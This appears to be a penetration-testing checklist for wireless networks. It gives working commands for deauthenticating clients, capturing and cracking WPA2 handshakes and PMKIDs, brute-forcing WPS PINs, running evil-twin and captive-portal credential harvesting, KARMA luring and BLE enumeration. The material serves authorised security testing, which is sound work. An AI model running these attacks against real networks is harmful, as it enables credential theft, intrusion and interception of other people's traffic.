☰   How to use this guide

Wireless extends the network past the walls. The work splits by encryption type: WEP is instant, WPA2-PSK is a handshake/PMKID capture cracked offline, WPA3 resists that (so you look for downgrade), and Enterprise (802.1X/EAP) is owned by an evil twin that relays or captures credentials. The deeper questions are client-side (probe/karma) and segmentation (does guest reach corporate?). This guide turns every item into how-to-test. For what an attacker does after joining, pair with the Network checklist.

# Monitor mode + survey
airmon-ng check kill ; airmon-ng start wlan0
airodump-ng wlan0mon                     # list APs/clients, encryption, channels
# (wifite automates much of the capture/crack flow)
wifite --kill

0   Survey & recon

Map every SSID/BSSID, its encryption, channel and clients — plus hidden SSIDs and rogue/unauthorised APs.

airodump-ng wlan0mon --band abg          # full 2.4/5GHz survey
kismet -c wlan0mon                        # rich passive survey + rogue detection
# Target a single AP to see clients + capture
airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon

Survey & recon — full coverage

1   WEP & WPA2-PSK

WEP is broken outright. WPA2-PSK is cracked offline after capturing the 4-way handshake (deauth a client to force it) or the PMKID (clientless, often faster).

WPA2-PSK: handshake & PMKID

1. Capture the 4-way handshake on the target AP's channel; deauth a connected client to force a re-handshake.
2. Or capture the PMKID directly (no client needed) with hcxdumptool.
3. Crack offline with hashcat against a wordlist/rules; weak/seasonal passphrases fall fast.

# Handshake capture + forced deauth
airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon
aireplay-ng -0 5 -a <AP> -c <client> wlan0mon          # deauth -> handshake
# PMKID (clientless)
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
# Crack (handshake & PMKID share mode 22000)
hashcat -m 22000 hash.hc22000 rockyou.txt -r rules/best64.rule

WEP / WPA2-PSK — full coverage

2   WPA3

WPA3-SAE resists offline cracking, so the focus shifts to transition-mode downgrade (forcing WPA2) and known SAE implementation flaws (Dragonblood).

WPA3 — full coverage

3   WPS

WPS (push-button/PIN) is a long-standing weakness: the PIN is brute-forceable (online and offline Pixie-Dust).

reaver -i wlan0mon -b <AP> -vv             # online PIN brute
bully wlan0mon -b <AP> -p <pin>
# Pixie-Dust (offline, fast on vulnerable chipsets)
reaver -i wlan0mon -b <AP> -K 1

WPS — full coverage

4   Enterprise 802.1X / EAP

WPA2/3-Enterprise authenticates per-user via 802.1X/EAP. The classic attack is an evil twin that impersonates the RADIUS endpoint and captures MSCHAPv2 credentials — possible when clients don't validate the server certificate.

1. Stand up a rogue AP with the same SSID and an EAP server that captures credentials.
2. If clients don't validate the server cert (or trust any), they hand over the identity + MSCHAPv2 challenge/response.
3. Crack the captured MSCHAPv2 offline (or relay it).

# Evil twin that harvests EAP creds
eaphammer --cert-wizard                              # one-time cert
eaphammer -i wlan0 --essid CorpWiFi --channel 6 --auth wpa-eap --creds
# or hostapd-wpe (logs username + MSCHAPv2 challenge/response)
hostapd-wpe hostapd-wpe.conf
asleap -C <challenge> -R <response> -W rockyou.txt   # crack MSCHAPv2

Enterprise 802.1X / EAP — full coverage

5   Rogue AP / evil twin / captive portal

Beyond Enterprise, a same-SSID rogue AP (optionally with a fake captive portal) harvests PSK-network credentials and MITMs clients that auto-connect.

# Evil twin + captive portal credential harvest
eaphammer -i wlan0 --essid FreeWiFi --captive-portal
# or airgeddon / wifiphisher for guided evil-twin + portal flows
# bettercap for on-path MITM once clients associate
bettercap -iface wlan0

Rogue AP / evil twin / captive portal — full coverage

6   Client-side attacks

Clients leak their preferred networks via probe requests; KARMA-style attacks answer those probes to lure clients onto a rogue AP without touching the real one.

# Harvest probed (preferred) SSIDs
airodump-ng wlan0mon                       # watch 'Probes' column
# Respond to any probe (KARMA) to lure clients
eaphammer -i wlan0 --essid ANY --karma

Client-side attacks — full coverage

7   Segmentation

Once on the wireless, what can you reach? Guest must not reach corporate, and wireless clients shouldn't freely reach the wired internal network.

# From the guest/wireless network, test reach into corporate/internal
nmap -sS -p 22,445,3389,1433 -Pn <corporate-host>
# Client isolation check: can you reach another wireless client?
ping <another-wireless-client-ip>

Segmentation — full coverage

B   Bluetooth / BLE

If Bluetooth/BLE devices are in scope: discovery, weak/just-works pairing, unauthenticated GATT characteristics, and sniffable traffic.

bluetoothctl ; hcitool lescan          # discovery
# Enumerate BLE services/characteristics
gatttool -b <MAC> -I  ->  primary ; char-desc ; char-read-hnd <handle>
# bettercap BLE module for scan/enumerate/write
bettercap -eval "ble.recon on"

Bluetooth / BLE — full coverage

✓   Coverage map & how to run it

Survey first, then take the encryption path that applies; always check client-side and segmentation; add BLE if in scope.

Core principle: the encryption type decides the attack — PSK is an offline crack, Enterprise is an evil-twin credential capture, WPA3 is a downgrade hunt. But the highest business impact is usually segmentation: prove (or break) guest↔corporate isolation, because joining the Wi-Fi is only useful if it reaches something. Tick a box only when you've actually run the test, in scope.